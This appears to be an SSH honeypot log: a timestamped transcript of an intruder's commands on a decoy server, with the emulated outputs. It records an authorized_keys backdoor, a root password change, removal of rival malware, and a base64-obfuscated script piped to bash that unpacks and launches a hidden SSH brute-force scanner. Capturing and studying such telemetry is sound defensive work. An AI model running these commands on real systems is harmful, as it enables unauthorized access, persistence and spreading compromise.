sshoney · ssh honeypot telemetry

Client

Credentials attempted

Samples captured

Transcript

12:08:11 $ cd ~; chattr -ia .ssh; lockr -ia .ssh
12:08:11 $ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
12:08:14 $ cat /proc/cpuinfo | grep name | wc -l
         1  (619ms)
12:08:15 $ echo "root:rffgjvI8OdYC"|chpasswd|bash
12:08:15 $ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
12:08:15 $ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
         AMD EPYC 7713 64-Core Processor  (628ms)
12:08:16 $ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
         956 0 956 0 0 0  (576ms)
12:08:17 $ ls -lh $(which ls)
         -rwxr-xr-x 1 root root 140K Jan 24  2025 /usr/bin/ls  (733ms)
12:08:18 $ crontab -l
         0 2 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1
         */15 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1
         @reboot /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1  (1018ms)
12:08:20 $ w
          08:58:12 up  8:58,  1 user,  load average: 0.02, 0.03, 0.01
         USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
         root     pts/0    203.0.113.1     08:57    0.00s  0.03s  0.00s w  (1313ms)
12:08:21 $ uname -m
         x86_64
12:08:22 $ cat /proc/cpuinfo | grep model | grep name | wc -l
         64  (477ms)
12:08:22 $ top
         top - 12:08:22 up  8:58,  0 user,  load average: 0.16, 0.16, 0.13
         Tasks: 110 total,   1 running, 109 sleeping,   0 stopped,   0 zombie
         %Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st
         MiB Mem :    956 total,    564 free,    392 used
         MiB Swap:    511 total,    511 free,        0 used
         
             PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
               1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd
             742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx
             889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres
            1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node
         ^C
12:08:23 $ uname
         Linux
12:08:23 $ uname -a
         Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
12:08:23 $ whoami
         root
12:08:24 $ lscpu | grep Model
         Model name:                           AMD EPYC 7713 64-Core Processor  (1013ms)
12:08:25 $ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
         24G  (676ms)
12:08:27 $ echo "root admin123." > /tmp/up.txt
12:08:27 $ rm -rf /var/tmp/dota*
12:08:28 $ cat /var/tmp/.systemcache436621
         status=ok
         token=hayloft-7d3c
         last_sync=2026-08-20T11:44:09Z  (734ms)
12:08:29 $ cat /var/tmp/.systemcache436621
         status=ok
         token=hayloft-7d3c
         last_sync=2026-08-20T11:44:09Z  (795ms)
12:08:30 $ echo "1" > /var/tmp/.systemcache436621
12:08:31 $ cat /var/tmp/.systemcache436621
         status=ok
         token=hayloft-7d3c
         last_sync=2026-08-20T11:44:09Z  (597ms)
12:08:32 $ cat /var/tmp/.systemcache436621
         status=ok
         token=hayloft-7d3c
         last_sync=2026-08-20T11:44:09Z  (588ms)
12:08:33 $ sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw" | base64 --decode | bash
12:08:41 $ whoami
         root